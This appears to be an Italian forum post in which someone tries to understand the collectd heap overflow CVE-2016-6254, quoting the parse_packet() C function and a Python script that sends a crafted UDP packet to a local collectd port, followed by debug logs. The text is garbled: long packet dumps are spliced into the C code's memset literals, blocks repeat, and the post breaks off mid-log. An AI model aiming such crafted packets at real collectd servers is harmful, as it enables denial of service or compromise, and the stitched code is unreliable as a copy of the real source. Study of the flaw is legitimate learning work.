CVE-2016-6254 - Comprensione overflow dell'heap

Naviga le tue risposte
1

Cercando di capire questo pezzo di codice:

Contiene Vulnerabilità legata all'overflow del buffer in heap: 

static int parse_packet (sockent_t *se, /* {{{ */
        void *buffer, size_t buffer_size, int flags,
        const char *username)
{
    int status;

    value_list_t vl = VALUE_LIST_INIT;
    notification_t n;

#if HAVE_LIBGCRYPT
    int packet_was_signed = (flags & PP_SIGNED);
        int packet_was_encrypted = (flags & PP_ENCRYPTED);
    int printed_ignore_warning = 0;
#endif /* HAVE_LIBGCRYPT */


    memset (&vl, '
  parse_packet()
bufer_size:260
packet_was_encrypted:0
packet_was_signed:0
se->data.server.security_level:0
While() 0
buffer_size:260
Packet dump:400005004000050140000502400005034000050440000505400005064000050740000508400005094000050A4000050B4000050C4000050D4000050E4000050F400005104000051140000512400005134000051440000515400005164000051740000518400005194000051A4000051B4000051C4000051D4000051E4000051F400005204000052140000522400005234000052440000525400005264000052740000528400005294000052A4000052B4000052C4000052D4000052E4000052F400005304000053140000532400005334000053440000535400005364000053740000538400005394000053A4000053B4000053C4000053D4000053E4000053F400005404000054140000542400005434000054440000545400005464000054740000548400005494000054A4000054B4000054C4000054D4000054E4000054F400005504000055140000552400005534000055440000555400005564000055740000558400005594000055A4000055B4000055C4000055D4000055E4000055F400005604000056140000562400005634000056440000565400005664000056740000568400005694000056A4000056B4000056C4000056D4000056E4000056F400005704000057140000572400005734000057440000575400005764000057740000578400005794000057A4000057B4000057C4000057D4000057E4000057F400005804000058140000582400005834000058440000585400005864000058740000588400005894000058A4000058B4000058C4000058D4000058E4000058F400005904000059140000592400005934000059440000595400005964000059740000598400005994000059A4000059B4000059C4000059D4000059E4000059F400005A0400005A1400005A2400005A3400005A4400005A5400005A6400005A7400005A8400005A9400005AA400005AB400005AC400005AD400005AE400005AF400005B0400005B1400005B2400005B3400005B4400005B5400005B6400005B7400005B8400005B9400005BA400005BB400005BC400005BD400005BE400005BF400005C0400005C1400005C2400005C3400005C4400005C5400005C6400005C7400005C8400005C9400005CA400005CB400005CC400005CD400005CE400005CF400005D0400005D1400005D2400005D3400005D4400005D5400005D6400005D7400005D8400005D9400005DA400005DB400005DC400005DD400005DE400005DF400005E0400005E1400005E2400005E3400005E4400005E5400005E6400005E7400005E8400005E9400005EA400005EB400005EC400005ED400005EE400005EF400005F0400005F1400005F2400005F3400005F4400005F5400005F6400005F7400005F8400005F9400005FA400005FB400005FC400005FD400005FE400005FF40000600400006014000060240000603
pkg_length:16384
pkg_type:1280
pkg_length(ntohs):64
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:260
While() 1
buffer_size:196
Packet dump:400005004000050140000502400005034000050440000505400005064000050740000508400005094000050A4000050B4000050C4000050D4000050E4000050F400005104000051140000512400005134000051440000515400005164000051740000518400005194000051A4000051B4000051C4000051D4000051E4000051F400005204000052140000522400005234000052440000525400005264000052740000528400005294000052A4000052B4000052C4000052D4000052E4000052F400005304000053140000532400005334000053440000535400005364000053740000538400005394000053A4000053B4000053C4000053D4000053E4000053F400005404000054140000542400005434000054440000545400005464000054740000548400005494000054A4000054B4000054C4000054D4000054E4000054F400005504000055140000552400005534000055440000555400005564000055740000558400005594000055A4000055B4000055C4000055D4000055E4000055F400005604000056140000562400005634000056440000565400005664000056740000568400005694000056A4000056B4000056C4000056D4000056E4000056F400005704000057140000572400005734000057440000575400005764000057740000578400005794000057A4000057B4000057C4000057D4000057E4000057F400005804000058140000582400005834000058440000585400005864000058740000588400005894000058A4000058B4000058C4000058D4000058E4000058F400005904000059140000592400005934000059440000595400005964000059740000598400005994000059A4000059B4000059C4000059D4000059E4000059F400005A0400005A1400005A2400005A3400005A4400005A5400005A6400005A7400005A8400005A9400005AA400005AB400005AC400005AD400005AE400005AF400005B0400005B1400005B2400005B3400005B4400005B5400005B6400005B7400005B8400005B9400005BA400005BB400005BC400005BD400005BE400005BF400005C0400005C1400005C2400005C3
pkg_length:16384
pkg_type:1280
pkg_length(ntohs):64
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:196
While() 2
buffer_size:132
Packet dump:420005004200050142000502420005034200050442000505420005064200050742000508420005094200050A4200050B4200050C4200050D4200050E4200050F420005104200051142000512420005134200051442000515420005164200051742000518420005194200051A4200051B4200051C4200051D4200051E4200051F420005204200052142000522420005234200052442000525420005264200052742000528420005294200052A4200052B4200052C4200052D4200052E4200052F420005304200053142000532420005334200053442000535420005364200053742000538420005394200053A4200053B4200053C4200053D4200053E4200053F420005404200054142000542420005434200054442000545420005464200054742000548420005494200054A4200054B4200054C4200054D4200054E4200054F420005504200055142000552420005534200055442000555420005564200055742000558420005594200055A4200055B4200055C4200055D4200055E4200055F420005604200056142000562420005634200056442000565420005664200056742000568420005694200056A4200056B4200056C4200056D4200056E4200056F420005704200057142000572420005734200057442000575420005764200057742000578420005794200057A4200057B4200057C4200057D4200057E4200057F42000580420005814200058242000583
pkg_length:16896
pkg_type:1280
pkg_length(ntohs):66
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:132
While() 3
buffer_size:66
Packet dump:420005004200050142000502420005034200050442000505420005064200050742000508420005094200050A4200050B4200050C4200050D4200050E4200050F420005104200051142000512420005134200051442000515420005164200051742000518420005194200051A4200051B4200051C4200051D4200051E4200051F420005204200052142000522420005234200052442000525420005264200052742000528420005294200052A4200052B4200052C4200052D4200052E4200052F420005304200053142000532420005334200053442000535420005364200053742000538420005394200053A4200053B4200053C4200053D4200053E4200053F4200054042000541
pkg_length:16896
pkg_type:1280
pkg_length(ntohs):66
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:66

', sizeof (vl));
    memset (&n, '
option = Hostname; value = 127.0.0.1;
option = FQDNLookup; value = true;
option = BaseDir; value = /opt/collectd/var/lib/collectd;
option = PIDFile; value = /opt/collectd/var/run/collectd.pid;
Done parsing '/opt/collectd/share/collectd/types.db'
Created new plugin context.
parse_packet()
bufer_size:260
packet_was_encrypted:0
packet_was_signed:0
se->data.server.security_level:0
While() 0
buffer_size:260
Packet dump:400005004000050140000502400005034000050440000505400005064000050740000508400005094000050A4000050B4000050C4000050D4000050E4000050F400005104000051140000512400005134000051440000515400005164000051740000518400005194000051A4000051B4000051C4000051D4000051E4000051F400005204000052140000522400005234000052440000525400005264000052740000528400005294000052A4000052B4000052C4000052D4000052E4000052F400005304000053140000532400005334000053440000535400005364000053740000538400005394000053A4000053B4000053C4000053D4000053E4000053F400005404000054140000542400005434000054440000545400005464000054740000548400005494000054A4000054B4000054C4000054D4000054E4000054F400005504000055140000552400005534000055440000555400005564000055740000558400005594000055A4000055B4000055C4000055D4000055E4000055F400005604000056140000562400005634000056440000565400005664000056740000568400005694000056A4000056B4000056C4000056D4000056E4000056F400005704000057140000572400005734000057440000575400005764000057740000578400005794000057A4000057B4000057C4000057D4000057E4000057F400005804000058140000582400005834000058440000585400005864000058740000588400005894000058A4000058B4000058C4000058D4000058E4000058F400005904000059140000592400005934000059440000595400005964000059740000598400005994000059A4000059B4000059C4000059D4000059E4000059F400005A0400005A1400005A2400005A3400005A4400005A5400005A6400005A7400005A8400005A9400005AA400005AB400005AC400005AD400005AE400005AF400005B0400005B1400005B2400005B3400005B4400005B5400005B6400005B7400005B8400005B9400005BA400005BB400005BC400005BD400005BE400005BF400005C0400005C1400005C2400005C3400005C4400005C5400005C6400005C7400005C8400005C9400005CA400005CB400005CC400005CD400005CE400005CF400005D0400005D1400005D2400005D3400005D4400005D5400005D6400005D7400005D8400005D9400005DA400005DB400005DC400005DD400005DE400005DF400005E0400005E1400005E2400005E3400005E4400005E5400005E6400005E7400005E8400005E9400005EA400005EB400005EC400005ED400005EE400005EF400005F0400005F1400005F2400005F3400005F4400005F5400005F6400005F7400005F8400005F9400005FA400005FB400005FC400005FD400005FE400005FF40000600400006014000060240000603
pkg_length:16384
pkg_type:1280
pkg_length(ntohs):64
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:260
While() 1
buffer_size:196
Packet dump:400005004000050140000502400005034000050440000505400005064000050740000508400005094000050A4000050B4000050C4000050D4000050E4000050F400005104000051140000512400005134000051440000515400005164000051740000518400005194000051A4000051B4000051C4000051D4000051E4000051F400005204000052140000522400005234000052440000525400005264000052740000528400005294000052A4000052B4000052C4000052D4000052E4000052F400005304000053140000532400005334000053440000535400005364000053740000538400005394000053A4000053B4000053C4000053D4000053E4000053F400005404000054140000542400005434000054440000545400005464000054740000548400005494000054A4000054B4000054C4000054D4000054E4000054F400005504000055140000552400005534000055440000555400005564000055740000558400005594000055A4000055B4000055C4000055D4000055E4000055F400005604000056140000562400005634000056440000565400005664000056740000568400005694000056A4000056B4000056C4000056D4000056E4000056F400005704000057140000572400005734000057440000575400005764000057740000578400005794000057A4000057B4000057C4000057D4000057E4000057F400005804000058140000582400005834000058440000585400005864000058740000588400005894000058A4000058B4000058C4000058D4000058E4000058F400005904000059140000592400005934000059440000595400005964000059740000598400005994000059A4000059B4000059C4000059D4000059E4000059F400005A0400005A1400005A2400005A3400005A4400005A5400005A6400005A7400005A8400005A9400005AA400005AB400005AC400005AD400005AE400005AF400005B0400005B1400005B2400005B3400005B4400005B5400005B6400005B7400005B8400005B9400005BA400005BB400005BC400005BD400005BE400005BF400005C0400005C1400005C2400005C3
pkg_length:16384
pkg_type:1280
pkg_length(ntohs):64
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:196
While() 2
buffer_size:132
Packet dump:420005004200050142000502420005034200050442000505420005064200050742000508420005094200050A4200050B4200050C4200050D4200050E4200050F420005104200051142000512420005134200051442000515420005164200051742000518420005194200051A4200051B4200051C4200051D4200051E4200051F420005204200052142000522420005234200052442000525420005264200052742000528420005294200052A4200052B4200052C4200052D4200052E4200052F420005304200053142000532420005334200053442000535420005364200053742000538420005394200053A4200053B4200053C4200053D4200053E4200053F420005404200054142000542420005434200054442000545420005464200054742000548420005494200054A4200054B4200054C4200054D4200054E4200054F420005504200055142000552420005534200055442000555420005564200055742000558420005594200055A4200055B4200055C4200055D4200055E4200055F420005604200056142000562420005634200056442000565420005664200056742000568420005694200056A4200056B4200056C4200056D4200056E4200056F420005704200057142000572420005734200057442000575420005764200057742000578420005794200057A4200057B4200057C4200057D4200057E4200057F42000580420005814200058242000583
pkg_length:16896
pkg_type:1280
pkg_length(ntohs):66
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:132
While() 3
buffer_size:66
Packet dump:430005004300050143000502430005034300050443000505430005064300050743000508430005094300050A4300050B4300050C4300050D4300050E4300050F430005104300051143000512430005134300051443000515430005164300051743000518430005194300051A4300051B4300051C4300051D4300051E4300051F430005204300052143000522430005234300052443000525430005264300052743000528430005294300052A4300052B4300052C4300052D4300052E4300052F430005304300053143000532430005334300053443000535430005364300053743000538430005394300053A4300053B4300053C4300053D4300053E4300053F4300054043000541
pkg_length:17152
pkg_type:1280
pkg_length(ntohs):67
pkg_type(ntohs):5
Break pkg_length > buffer_size

', sizeof (n));
    status = 0;

    while ((status == 0) && (0 < buffer_size)
            && ((unsigned int) buffer_size > sizeof (part_header_t)))
    {
        uint16_t pkg_length;
        uint16_t pkg_type;

        memcpy ((void *) &pkg_type,
                (void *) buffer,
                sizeof (pkg_type));
        memcpy ((void *) &pkg_length,
                (void *) (buffer + sizeof (pkg_type)),
                sizeof (pkg_length));

        pkg_length = ntohs (pkg_length);
        pkg_type = ntohs (pkg_type);

        if (pkg_length > buffer_size)
            break;
        /* Ensure that this loop terminates eventually */
        if (pkg_length < (2 * sizeof (uint16_t)))
            break;

        if (pkg_type == TYPE_ENCR_AES256)
        {
            status = parse_part_encr_aes256 (se,
                    &buffer, &buffer_size, flags);
            if (status != 0)
            {
                ERROR ("network plugin: Decrypting AES256 "
                        "part failed "
                        "with status %i.", status);
                break;
            }
        }
#if HAVE_LIBGCRYPT
        else if ((se->data.server.security_level == SECURITY_LEVEL_ENCRYPT)
                && (packet_was_encrypted == 0))
        {
            if (printed_ignore_warning == 0)
            {
                INFO ("network plugin: Unencrypted packet or "
                        "part has been ignored.");
                printed_ignore_warning = 1;
            }
            buffer = ((char *) buffer) + pkg_length;
            continue;
        }
#endif /* HAVE_LIBGCRYPT */
        else if (pkg_type == TYPE_SIGN_SHA256)
        {
            status = parse_part_sign_sha256 (se,
                                        &buffer, &buffer_size, flags);
            if (status != 0)
            {
                ERROR ("network plugin: Verifying HMAC-SHA-256 "
                        "signature failed "
                        "with status %i.", status);
                break;
            }
        }
#if HAVE_LIBGCRYPT
        else if ((se->data.server.security_level == SECURITY_LEVEL_SIGN)
                && (packet_was_encrypted == 0)
                && (packet_was_signed == 0))
        {
            if (printed_ignore_warning == 0)
            {
                INFO ("network plugin: Unsigned packet or "
                        "part has been ignored.");
                printed_ignore_warning = 1;
            }
            buffer = ((char *) buffer) + pkg_length;
            continue;
        }
#endif /* HAVE_LIBGCRYPT */
        else if (pkg_type == TYPE_VALUES)
        {
            status = parse_part_values (&buffer, &buffer_size,
                    &vl.values, &vl.values_len);
            if (status != 0)
                break;

            network_dispatch_values (&vl, username);

            sfree (vl.values);
        }
        else if (pkg_type == TYPE_TIME)
        {
            uint64_t tmp = 0;
            status = parse_part_number (&buffer, &buffer_size,
                    &tmp);
            if (status == 0)
            {
                vl.time = TIME_T_TO_CDTIME_T (tmp);
                n.time  = TIME_T_TO_CDTIME_T (tmp);
            }
        }
        else if (pkg_type == TYPE_TIME_HR)
        {
            uint64_t tmp = 0;
            status = parse_part_number (&buffer, &buffer_size,
                    &tmp);
            if (status == 0)
            {
                vl.time = (cdtime_t) tmp;
                n.time  = (cdtime_t) tmp;
            }
        }
        else if (pkg_type == TYPE_INTERVAL)
        {
            uint64_t tmp = 0;
            status = parse_part_number (&buffer, &buffer_size,
                    &tmp);
            if (status == 0)
                vl.interval = TIME_T_TO_CDTIME_T (tmp);
        }
        else if (pkg_type == TYPE_INTERVAL_HR)
        {
            uint64_t tmp = 0;
            status = parse_part_number (&buffer, &buffer_size,
                    &tmp);
            if (status == 0)
                vl.interval = (cdtime_t) tmp;
        }
        else if (pkg_type == TYPE_HOST)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    vl.host, sizeof (vl.host));
            if (status == 0)
                sstrncpy (n.host, vl.host, sizeof (n.host));
        }
        else if (pkg_type == TYPE_PLUGIN)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    vl.plugin, sizeof (vl.plugin));
            if (status == 0)
                sstrncpy (n.plugin, vl.plugin,
                        sizeof (n.plugin));
        }
        else if (pkg_type == TYPE_PLUGIN_INSTANCE)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    vl.plugin_instance,
                    sizeof (vl.plugin_instance));
            if (status == 0)
                sstrncpy (n.plugin_instance,
                        vl.plugin_instance,
                        sizeof (n.plugin_instance));
        }
        else if (pkg_type == TYPE_TYPE)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    vl.type, sizeof (vl.type));
            if (status == 0)
                sstrncpy (n.type, vl.type, sizeof (n.type));
        }
        else if (pkg_type == TYPE_TYPE_INSTANCE)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    vl.type_instance,
                    sizeof (vl.type_instance));
            if (status == 0)
                sstrncpy (n.type_instance, vl.type_instance,
                        sizeof (n.type_instance));
        }
        else if (pkg_type == TYPE_MESSAGE)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    n.message, sizeof (n.message));

            if (status != 0)
            {
                /* do nothing */
            }
            else if ((n.severity != NOTIF_FAILURE)
                    && (n.severity != NOTIF_WARNING)
                    && (n.severity != NOTIF_OKAY))
            {
                INFO ("network plugin: "
                        "Ignoring notification with "
                        "unknown severity %i.",
                        n.severity);
            }
            else if (n.time <= 0)
            {
                INFO ("network plugin: "
                        "Ignoring notification with "
                        "time == 0.");
            }
            else if (strlen (n.message) <= 0)
            {
                INFO ("network plugin: "
                        "Ignoring notification with "
                        "an empty message.");
            }
            else
            {
                plugin_dispatch_notification (&n);
            }
        }
        else if (pkg_type == TYPE_SEVERITY)
        {
            uint64_t tmp = 0;
            status = parse_part_number (&buffer, &buffer_size,
                    &tmp);
            if (status == 0)
                n.severity = (int) tmp;
        }
        else
        {
            DEBUG ("network plugin: parse_packet: Unknown part"
                    " type: 0x%04hx", pkg_type);
            buffer = ((char *) buffer) + pkg_length;
        }
    } /* while (buffer_size > sizeof (part_header_t)) */

    if (status == 0 && buffer_size > 0)
        WARNING ("network plugin: parse_packet: Received truncated "
                "packet, try increasing 'MaxPacketSize'");

    return (status);
} /* }}} int parse_packet */

È stato corretto con questo:

link

Ho passato un po 'di tempo a studiarlo ma non riesco a trovare l'errore ...

Qualcuno può aiutarti?

Aggiornamento 1:

Grazie per le risposte, in particolare @grochmal

Il mio tentativo di fare overflow del buffer / overflow dell'heap: 

import socket

UDP_IP = "127.0.0.1"
UDP_PORT = 25826

print "UDP target IP:", UDP_IP
print "UDP target port:", UDP_PORT

sock = socket.socket(socket.AF_INET, # Internet
             socket.SOCK_DGRAM) # UDP

str="\x00\x05\x00\x40\x6c\x61\x70\x74\x6f\x70\x00\x05\x01\x00\x0c\x00\x00\x00\x00\x58\x9c\xc5\x59\x00\x02\x00\x08\x61\x6e\x79\x00\x00\x03\x00\x40\x00\x00\x04\x00\x0a\x67\x61\x75\x67\x65\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x05\x00\x15\x63\x00\x00\x05\x00\x40\x40\x6c\x61\x70\x74\x6f\x70\x00\x05\x01\x00\x0c\x00\x00\x00\x00\x58\x9c\xc5\x59\x00\x02\x00\x08\x61\x6e\x79\x00\x00\x03\x00\x05\x00\x00\x04\x00\x0a\x67\x61\x75\x67\x65\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x05\x00\x15\x00\x00\x05\x00\x42\x40\x6c\x61\x70\x74\x6f\x70\x00\x05\x01\x00\x0c\x00\x00\x00\x00\x58\x9c\xc5\x59\x00\x02\x00\x08\x61\x6e\x79\x00\x00\x03\x00\x05\x00\x00\x04\x00\x0a\x67\x61\x75\x67\x65\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x05\x00\x15\x00\x00\x00\x00\x05\x00\x42\x40\x6c\x61\x70\x74\x6f\x70\x00\x05\x01\x00\x0c\x00\x00\x00\x00\x58\x9c\xc5\x59\x00\x02\x00\x08\x61\x6e\x79\x00\x00\x03\x00\x05\x00\x00\x04\x00\x0a\x67\x61\x75\x67\x65\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x05\x00\x15\x00\x00\x00\x00\x06\x00\x33\x00\x50\x01\x00\x00\x00\x00\x00\x00\x10\x40\x01\x00\x00\x00\x00\x00\x00\x10\x40\x01\x00\x00\x00\x00\x00\x00\x10\x40\x01\x00\x00\x00\x00\x00\x00\x10\x40\x01\x00\x00\x00\x00\x00\x00\x10\x40"


sock.sendto(str,(UDP_IP, UDP_PORT))

Ma in qualche modo non riesco ad andare oltre il buffer .... se imposto il pacchetto pkg_lenght nell'ultimo pacchetto a 67, ottengo questo: 

static int parse_packet (sockent_t *se, /* {{{ */
        void *buffer, size_t buffer_size, int flags,
        const char *username)
{
    int status;

    value_list_t vl = VALUE_LIST_INIT;
    notification_t n;

#if HAVE_LIBGCRYPT
    int packet_was_signed = (flags & PP_SIGNED);
        int packet_was_encrypted = (flags & PP_ENCRYPTED);
    int printed_ignore_warning = 0;
#endif /* HAVE_LIBGCRYPT */


    memset (&vl, '
  parse_packet()
bufer_size:260
packet_was_encrypted:0
packet_was_signed:0
se->data.server.security_level:0
While() 0
buffer_size:260
Packet dump:400005004000050140000502400005034000050440000505400005064000050740000508400005094000050A4000050B4000050C4000050D4000050E4000050F400005104000051140000512400005134000051440000515400005164000051740000518400005194000051A4000051B4000051C4000051D4000051E4000051F400005204000052140000522400005234000052440000525400005264000052740000528400005294000052A4000052B4000052C4000052D4000052E4000052F400005304000053140000532400005334000053440000535400005364000053740000538400005394000053A4000053B4000053C4000053D4000053E4000053F400005404000054140000542400005434000054440000545400005464000054740000548400005494000054A4000054B4000054C4000054D4000054E4000054F400005504000055140000552400005534000055440000555400005564000055740000558400005594000055A4000055B4000055C4000055D4000055E4000055F400005604000056140000562400005634000056440000565400005664000056740000568400005694000056A4000056B4000056C4000056D4000056E4000056F400005704000057140000572400005734000057440000575400005764000057740000578400005794000057A4000057B4000057C4000057D4000057E4000057F400005804000058140000582400005834000058440000585400005864000058740000588400005894000058A4000058B4000058C4000058D4000058E4000058F400005904000059140000592400005934000059440000595400005964000059740000598400005994000059A4000059B4000059C4000059D4000059E4000059F400005A0400005A1400005A2400005A3400005A4400005A5400005A6400005A7400005A8400005A9400005AA400005AB400005AC400005AD400005AE400005AF400005B0400005B1400005B2400005B3400005B4400005B5400005B6400005B7400005B8400005B9400005BA400005BB400005BC400005BD400005BE400005BF400005C0400005C1400005C2400005C3400005C4400005C5400005C6400005C7400005C8400005C9400005CA400005CB400005CC400005CD400005CE400005CF400005D0400005D1400005D2400005D3400005D4400005D5400005D6400005D7400005D8400005D9400005DA400005DB400005DC400005DD400005DE400005DF400005E0400005E1400005E2400005E3400005E4400005E5400005E6400005E7400005E8400005E9400005EA400005EB400005EC400005ED400005EE400005EF400005F0400005F1400005F2400005F3400005F4400005F5400005F6400005F7400005F8400005F9400005FA400005FB400005FC400005FD400005FE400005FF40000600400006014000060240000603
pkg_length:16384
pkg_type:1280
pkg_length(ntohs):64
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:260
While() 1
buffer_size:196
Packet dump:400005004000050140000502400005034000050440000505400005064000050740000508400005094000050A4000050B4000050C4000050D4000050E4000050F400005104000051140000512400005134000051440000515400005164000051740000518400005194000051A4000051B4000051C4000051D4000051E4000051F400005204000052140000522400005234000052440000525400005264000052740000528400005294000052A4000052B4000052C4000052D4000052E4000052F400005304000053140000532400005334000053440000535400005364000053740000538400005394000053A4000053B4000053C4000053D4000053E4000053F400005404000054140000542400005434000054440000545400005464000054740000548400005494000054A4000054B4000054C4000054D4000054E4000054F400005504000055140000552400005534000055440000555400005564000055740000558400005594000055A4000055B4000055C4000055D4000055E4000055F400005604000056140000562400005634000056440000565400005664000056740000568400005694000056A4000056B4000056C4000056D4000056E4000056F400005704000057140000572400005734000057440000575400005764000057740000578400005794000057A4000057B4000057C4000057D4000057E4000057F400005804000058140000582400005834000058440000585400005864000058740000588400005894000058A4000058B4000058C4000058D4000058E4000058F400005904000059140000592400005934000059440000595400005964000059740000598400005994000059A4000059B4000059C4000059D4000059E4000059F400005A0400005A1400005A2400005A3400005A4400005A5400005A6400005A7400005A8400005A9400005AA400005AB400005AC400005AD400005AE400005AF400005B0400005B1400005B2400005B3400005B4400005B5400005B6400005B7400005B8400005B9400005BA400005BB400005BC400005BD400005BE400005BF400005C0400005C1400005C2400005C3
pkg_length:16384
pkg_type:1280
pkg_length(ntohs):64
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:196
While() 2
buffer_size:132
Packet dump:420005004200050142000502420005034200050442000505420005064200050742000508420005094200050A4200050B4200050C4200050D4200050E4200050F420005104200051142000512420005134200051442000515420005164200051742000518420005194200051A4200051B4200051C4200051D4200051E4200051F420005204200052142000522420005234200052442000525420005264200052742000528420005294200052A4200052B4200052C4200052D4200052E4200052F420005304200053142000532420005334200053442000535420005364200053742000538420005394200053A4200053B4200053C4200053D4200053E4200053F420005404200054142000542420005434200054442000545420005464200054742000548420005494200054A4200054B4200054C4200054D4200054E4200054F420005504200055142000552420005534200055442000555420005564200055742000558420005594200055A4200055B4200055C4200055D4200055E4200055F420005604200056142000562420005634200056442000565420005664200056742000568420005694200056A4200056B4200056C4200056D4200056E4200056F420005704200057142000572420005734200057442000575420005764200057742000578420005794200057A4200057B4200057C4200057D4200057E4200057F42000580420005814200058242000583
pkg_length:16896
pkg_type:1280
pkg_length(ntohs):66
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:132
While() 3
buffer_size:66
Packet dump:420005004200050142000502420005034200050442000505420005064200050742000508420005094200050A4200050B4200050C4200050D4200050E4200050F420005104200051142000512420005134200051442000515420005164200051742000518420005194200051A4200051B4200051C4200051D4200051E4200051F420005204200052142000522420005234200052442000525420005264200052742000528420005294200052A4200052B4200052C4200052D4200052E4200052F420005304200053142000532420005334200053442000535420005364200053742000538420005394200053A4200053B4200053C4200053D4200053E4200053F4200054042000541
pkg_length:16896
pkg_type:1280
pkg_length(ntohs):66
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:66

', sizeof (vl));
    memset (&n, '
option = Hostname; value = 127.0.0.1;
option = FQDNLookup; value = true;
option = BaseDir; value = /opt/collectd/var/lib/collectd;
option = PIDFile; value = /opt/collectd/var/run/collectd.pid;
Done parsing '/opt/collectd/share/collectd/types.db'
Created new plugin context.
parse_packet()
bufer_size:260
packet_was_encrypted:0
packet_was_signed:0
se->data.server.security_level:0
While() 0
buffer_size:260
Packet dump:400005004000050140000502400005034000050440000505400005064000050740000508400005094000050A4000050B4000050C4000050D4000050E4000050F400005104000051140000512400005134000051440000515400005164000051740000518400005194000051A4000051B4000051C4000051D4000051E4000051F400005204000052140000522400005234000052440000525400005264000052740000528400005294000052A4000052B4000052C4000052D4000052E4000052F400005304000053140000532400005334000053440000535400005364000053740000538400005394000053A4000053B4000053C4000053D4000053E4000053F400005404000054140000542400005434000054440000545400005464000054740000548400005494000054A4000054B4000054C4000054D4000054E4000054F400005504000055140000552400005534000055440000555400005564000055740000558400005594000055A4000055B4000055C4000055D4000055E4000055F400005604000056140000562400005634000056440000565400005664000056740000568400005694000056A4000056B4000056C4000056D4000056E4000056F400005704000057140000572400005734000057440000575400005764000057740000578400005794000057A4000057B4000057C4000057D4000057E4000057F400005804000058140000582400005834000058440000585400005864000058740000588400005894000058A4000058B4000058C4000058D4000058E4000058F400005904000059140000592400005934000059440000595400005964000059740000598400005994000059A4000059B4000059C4000059D4000059E4000059F400005A0400005A1400005A2400005A3400005A4400005A5400005A6400005A7400005A8400005A9400005AA400005AB400005AC400005AD400005AE400005AF400005B0400005B1400005B2400005B3400005B4400005B5400005B6400005B7400005B8400005B9400005BA400005BB400005BC400005BD400005BE400005BF400005C0400005C1400005C2400005C3400005C4400005C5400005C6400005C7400005C8400005C9400005CA400005CB400005CC400005CD400005CE400005CF400005D0400005D1400005D2400005D3400005D4400005D5400005D6400005D7400005D8400005D9400005DA400005DB400005DC400005DD400005DE400005DF400005E0400005E1400005E2400005E3400005E4400005E5400005E6400005E7400005E8400005E9400005EA400005EB400005EC400005ED400005EE400005EF400005F0400005F1400005F2400005F3400005F4400005F5400005F6400005F7400005F8400005F9400005FA400005FB400005FC400005FD400005FE400005FF40000600400006014000060240000603
pkg_length:16384
pkg_type:1280
pkg_length(ntohs):64
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:260
While() 1
buffer_size:196
Packet dump:400005004000050140000502400005034000050440000505400005064000050740000508400005094000050A4000050B4000050C4000050D4000050E4000050F400005104000051140000512400005134000051440000515400005164000051740000518400005194000051A4000051B4000051C4000051D4000051E4000051F400005204000052140000522400005234000052440000525400005264000052740000528400005294000052A4000052B4000052C4000052D4000052E4000052F400005304000053140000532400005334000053440000535400005364000053740000538400005394000053A4000053B4000053C4000053D4000053E4000053F400005404000054140000542400005434000054440000545400005464000054740000548400005494000054A4000054B4000054C4000054D4000054E4000054F400005504000055140000552400005534000055440000555400005564000055740000558400005594000055A4000055B4000055C4000055D4000055E4000055F400005604000056140000562400005634000056440000565400005664000056740000568400005694000056A4000056B4000056C4000056D4000056E4000056F400005704000057140000572400005734000057440000575400005764000057740000578400005794000057A4000057B4000057C4000057D4000057E4000057F400005804000058140000582400005834000058440000585400005864000058740000588400005894000058A4000058B4000058C4000058D4000058E4000058F400005904000059140000592400005934000059440000595400005964000059740000598400005994000059A4000059B4000059C4000059D4000059E4000059F400005A0400005A1400005A2400005A3400005A4400005A5400005A6400005A7400005A8400005A9400005AA400005AB400005AC400005AD400005AE400005AF400005B0400005B1400005B2400005B3400005B4400005B5400005B6400005B7400005B8400005B9400005BA400005BB400005BC400005BD400005BE400005BF400005C0400005C1400005C2400005C3
pkg_length:16384
pkg_type:1280
pkg_length(ntohs):64
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:196
While() 2
buffer_size:132
Packet dump:420005004200050142000502420005034200050442000505420005064200050742000508420005094200050A4200050B4200050C4200050D4200050E4200050F420005104200051142000512420005134200051442000515420005164200051742000518420005194200051A4200051B4200051C4200051D4200051E4200051F420005204200052142000522420005234200052442000525420005264200052742000528420005294200052A4200052B4200052C4200052D4200052E4200052F420005304200053142000532420005334200053442000535420005364200053742000538420005394200053A4200053B4200053C4200053D4200053E4200053F420005404200054142000542420005434200054442000545420005464200054742000548420005494200054A4200054B4200054C4200054D4200054E4200054F420005504200055142000552420005534200055442000555420005564200055742000558420005594200055A4200055B4200055C4200055D4200055E4200055F420005604200056142000562420005634200056442000565420005664200056742000568420005694200056A4200056B4200056C4200056D4200056E4200056F420005704200057142000572420005734200057442000575420005764200057742000578420005794200057A4200057B4200057C4200057D4200057E4200057F42000580420005814200058242000583
pkg_length:16896
pkg_type:1280
pkg_length(ntohs):66
pkg_type(ntohs):5
pkg_type == TYPE_TYPE_INSTANCE
buffer_size:132
While() 3
buffer_size:66
